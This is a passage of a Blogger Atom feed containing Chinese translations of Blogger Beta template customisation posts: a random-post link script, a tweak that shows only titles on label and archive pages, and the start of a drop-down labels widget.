0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;script.setAttribute(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;src&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, theUrl);&lt;br /&gt;document.documentElement.firstChild.appendChild(script);&lt;br /&gt;};&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;function&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; getTheUrlCallback(json) {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;var&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; theUrl &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; json.feed.entry[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;].link[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;].href;&lt;br /&gt;window.location.href &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; theUrl;&lt;br /&gt;}&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;]]&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;script&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;　　把 _yourBlogUrl 设定成你的 blog 地址。然后在任何地方添加下面的链接：&lt;br /&gt;&lt;pre class="code"&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;a &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;href&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="javascript:randomPost();"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;View Random Post&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;a&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;　　由于使用了 JSON feed 回调，你还需要确认你的 blog 有汇总 feed（summary feed）。&lt;br /&gt;&lt;br /&gt;译注：May 05, 2007 1:57 AM 作者在评论中写到：&lt;br /&gt;如果想作成按钮样式，可以这么作：&lt;br /&gt;&lt;pre class="code"&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;input &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;type&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="button"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; onclick&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="randomPost();"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; value&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="View Random Post"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;/&lt;/span&gt;&lt;span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-7615779277914657167?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/7615779277914657167/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=7615779277914657167' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/7615779277914657167'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/7615779277914657167'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2007/05/blog-post_08.html' title='[翻译]随机显示文章'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-4524158647921493048</id><published>2007-05-07T15:36:00.000+08:00</published><updated>2007-05-20T17:54:54.592+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='Blogger Hack'/><title type='text'>[翻译]改进你的标签/归档页面</title><content type='html'>原文：&lt;a href="http://hackosphere.blogspot.com/3006/08/new-hack-to-improve-your-labelsearch.html"&gt;http://hackosphere.blogspot.com/3006/08/new-hack-to-improve-your-labelsearch.html&lt;/a&gt;&lt;br /&gt;（更新：在这个 hack 的基础上，我又开发了更好的版本——可展开/合拢的标签/归档页面。&lt;a href="http://hackosphere.blogspot.com/2006/09/peek-boo-view-of-posts-in-label-pages.html"&gt;点击这里&lt;/a&gt;查看。）&lt;br /&gt;　　在 Blogger Beta 博客中，当你选择一个标签或者在导航栏中搜索时，会在 main 列（main column）显示显示符合这个标签/搜索的的文章。当选择文章归档中的某项时也是同样的情况。正如 Ricardo 在我以前的文章中指出的：当文章过多时，这并不显得很友好。下面将要说到的 hack 只显示符合条件的文章标题（和固定链接），这样你就可以只阅读自己所希望看到文章。&lt;br /&gt;　　在我完成&lt;a href="http://guradian.blogspot.com/2007/05/first-blogger-beta-template-hack.html"&gt;第一个 hack（下拉式标签）&lt;/a&gt;后，我花了一些时间来研究 Blogger Beta 模板中的各个段和部件。在开始说新的 hack 之前，先简单介绍一下部件。段是整个博客的一部分，它由很多的部件组成，而每个部件都与一个结构化的数据相关联。比如，下面的部件管理博客中的文章显示。&lt;br /&gt;&lt;pre class="code"&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:widget &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;id&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='Blog1' &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;locked&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='false'&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;title&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='Blog &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Posts' type&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='Blog'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:includable &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;id&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='main' &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;var&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='top'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&amp;lt;!--&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt; posts &lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;--&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;div &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;id&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='blog-posts'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:loop &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;values&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='data:posts' &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;var&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='post'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;   &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:if &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;cond&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='data:post.dateHeader'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;     &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;h2 &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;class&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='date-header'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;data:post&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.dateHeader&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;/&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;h2&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;   &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;br /&gt;   &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0); font-style: italic;"&gt;b:include &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0); font-style: italic;"&gt;data&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;='post' &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0); font-style: italic;"&gt;name&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;='post'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;/&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;br /&gt;   &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:if &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;cond&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='data:blog.pageType == &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;"item"'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;     &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:if &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;cond&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='data:post.allowComments'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;       &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:include &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;data&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='post' &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;name&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='comments'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;/&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;     &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;   &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:loop&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;div&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;　　其中，“data:posts”是一个关联到“Blog”的文章列表。正如你所看到的，这里通过循环在遍历所有的文章。“var”是一个循环变量，它代表各个文章。对于每个文章，在文章内容后面显示时间（如果有）。“b:include”相当于在后面的代码中定义的一个函数。然后，这里有一个条件判断来检查页类型是否是“item”。这就是为什么只有条目页后（item page）面才显示评论。这里只简单介绍部件的代码。至于详细的介绍，请查看 &lt;a href="http://www.wilkinsons.com/Bananna/2006/08/deconstructing-blogger-beta-html.html"&gt;Scott 的文章&lt;/a&gt;。&lt;br /&gt;　　现在，让我们回到 hack。进入“编辑 HTML”，点击“扩展窗口小部件代码”用下面的代码替换上面代码中的斜体部分。&lt;br /&gt;&lt;pre class="code"&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:if &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;cond&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='data:blog.homepageUrl &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;!&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;=&lt;br /&gt;               data:blog.url'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:if &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;cond&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='data:blog.pageType &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;!&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;= "item"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;a &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;expr:href&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='data:post.url'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;data:post&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.title&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;/&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;a&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;br&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;br&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;/&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:else&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;/&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:include &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;data&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='post' &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;name&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='post'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;/&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:else&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;/&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:include &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;data&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='post' &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;name&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='post'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;/&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;　　简单的说，检查当前页面是主页面还是条目页面。如果都不是，那就一定是搜索、标签或者归档页面。对于这些页面，只显示文章的标题（链接到文章）。其中“blog.homepageUrl”是以前的&lt;$BlogURL$&gt;标签，“blog.pageType”用来检查&lt;itempage&gt;。&lt;br /&gt;　　你可以在我的博客的侧边栏中选择标签或者在2006年的归档试试这个hack 的效果。如果你喜欢，在你的博客中试试，让我知道你的评价。&lt;br /&gt;更新：在&lt;a href="http://hackosphere.blogspot.com/2006/09/how-to-control-number-of-posts-in-label.html"&gt;这篇文章&lt;/a&gt;中我介绍了如何超过每个标签页不超过20篇文章的限制。&lt;br /&gt;&lt;/itempage&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-4524158647921493048?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/4524158647921493048/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=4524158647921493048' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/4524158647921493048'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/4524158647921493048'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2007/05/blog-post_07.html' title='[翻译]改进你的标签/归档页面'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-1283039736869498280</id><published>2007-05-06T22:18:00.000+08:00</published><updated>2007-05-20T17:55:08.362+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='Blogger Hack'/><title type='text'>[翻译]下拉式标签 - 第一个 Blogger Beta 的模板 hack</title><content type='html'>原文：&lt;a href="http://hackosphere.blogspot.com/2006/08/drop-down-labels-blogger-beta-hack.html"&gt;http://hackosphere.blogspot.com/2006/08/drop-down-labels-blogger-beta-hack.html&lt;/a&gt;&lt;br /&gt;更新：我后来在这个 hack 基础上又开发出了更好的版本。&lt;a href="http://hackosphere.blogspot.com/2006/09/multi-style-labels-widget-for-blogger.html"&gt;点击这里查看&lt;/a&gt;。&lt;br /&gt;&lt;br /&gt;　　在 John 和 Blogger Buzz 的文章知道了 Blogger Beta 开放编辑布局模板功能后，我无法抑制我的好奇心。所以我决定马上试试我脑中已有的小点子。我相信这是 Blogger Beta 的第一个关于的模板 hack，但我不是很确定。&lt;br /&gt;　　你知道，标签是 Blogger 所提供分类的方式。但是，Blogger 对此只提供了链接列表的功能，不像 Archives 提供了一些其他诸如下拉菜单、层次结构（展开／合拢）之类的选项。我想在这儿有 hack 成的下拉菜单式标签可能性行。花了点时间研究模板之后，事情就轻而易举了。&lt;br /&gt;　　虽然 Blogger 开放了模板编辑功能，但他们只告诉了我们模板中最最简单的东西。所以，当你点击“编辑 HTML”，所显示的是没有细节的模板代码。但在右上角有个“展开窗口小部件代码”的选项，选中时，代码会以更 hacker 的方式显示。而 Blogger 关于页面元素的帮助页面只有“coming soon”。如果不能通过了解原始代码，作一个 hacker 还真不错。&lt;br /&gt;　　假设你已经在侧边栏创建了标签并且添加了页面元素，按照下面的方法来把标签转换成下拉菜单的样式——就像我的侧边栏中的那样。首先下载完整模板到本地电脑，备份后打开模板，找到下面的代码：&lt;br /&gt;&lt;pre class="code"&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:widget &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;id&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='Label1' &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;locked&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='false' &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;title&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='Labels' &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;type&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='Label'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:includable &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;id&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='main'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:if &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;cond&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='data:title'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;h2&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;data:title&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;/&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;h2&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;div &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;class&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='widget-content'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;   &lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0); font-style: italic;"&gt;ul&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0); font-style: 